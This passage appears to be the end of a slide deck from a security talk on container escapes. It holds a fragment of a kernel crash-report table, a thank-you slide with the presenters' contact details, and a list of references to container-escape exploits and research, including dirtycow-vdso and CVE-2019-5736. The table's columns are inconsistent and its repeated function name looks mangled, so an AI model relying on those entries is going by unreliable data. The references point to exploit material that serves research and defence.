<tr>
<td>WARNING in skb_skb_task_uart</td>
<td>C</td>
<td>8</td>
<td>4d16h</td>
<td>7d4h</td>
<td></td>
</tr>
<tr>
<td>general protection fault in skb_skb_task_uart</td>
<td>C</td>
<td>46</td>
<td>6d4h</td>
<td>5d4h</td>
<td></td>
</tr>
<tr>
<td>KASAN: use-after-free Read in skb_skb_task_uart</td>
<td>C</td>
<td>3</td>
<td>6d4h</td>
<td>5d4h</td>
<td></td>
</tr>
<tr>
<td>INFO: ex detected stall in skb_skb_task_uart</td>
<td>C</td>
<td>yes</td>
<td>10</td>
<td>5d4h</td>
<td></td>
</tr>
<tr>
<td>INFO: ex detected stall in skb_skb_task_uart</td>
<td>C</td>
<td>yes</td>
<td>7</td>
<td>5d4h</td>
<td></td>
</tr>
<tr>
<td>general protection fault in skb_skb_task_uart</td>
<td>C</td>
<td>yes</td>
<td>2</td>
<td>5d4h</td>
<td></td>
</tr>
<tr>
<td>general protection fault in skb_skb_task_uart</td>
<td>C</td>
<td>yes</td>
<td>5</td>
<td>5d4h</td>
<td></td>
</tr>
<tr>
<td>KASAN: use-after-free Read in skb_skb_task_uart</td>
<td>C</td>
<td>yes</td>
<td>1</td>
<td>5d4h</td>
<td></td>
</tr>
<tr>
<td>general protection fault in skb_skb_task_uart</td>
<td>C</td>
<td>yes</td>
<td>1</td>
<td>5d4h</td>
<td></td>
</tr>
</tbody>
</table>
Thank you

Brandon Edwards
@drraid
brandon@capsule8.com

Nick Freeman
@0x7674
nick@capsule8.com
References

Spender was escaping before containers were containers, checkout the work: https://www.grsecurity.net/~spender/exploits/

Abusing Privileged and Unprivileged Linux Containers, Jesse Hertz, NCC Group

Escape via dirtycow-vdso, scumjr
https://github.com/scumjr/dirtycow-vdso

Docker Escape Technology, Shengping Wang, Qihoo 360 Marvel Team

An Exercise in Practical Container Escapology, Nick Freeman, Capsule8
https://capsule8.com/blog/practical-container-escape-exercise/
References

CVE-2019-5736  RunC Escape, Adam Iwaniuk, Borys Poplawski  

Breaking Out of rkt, Yuval Avrahami, Twistlock  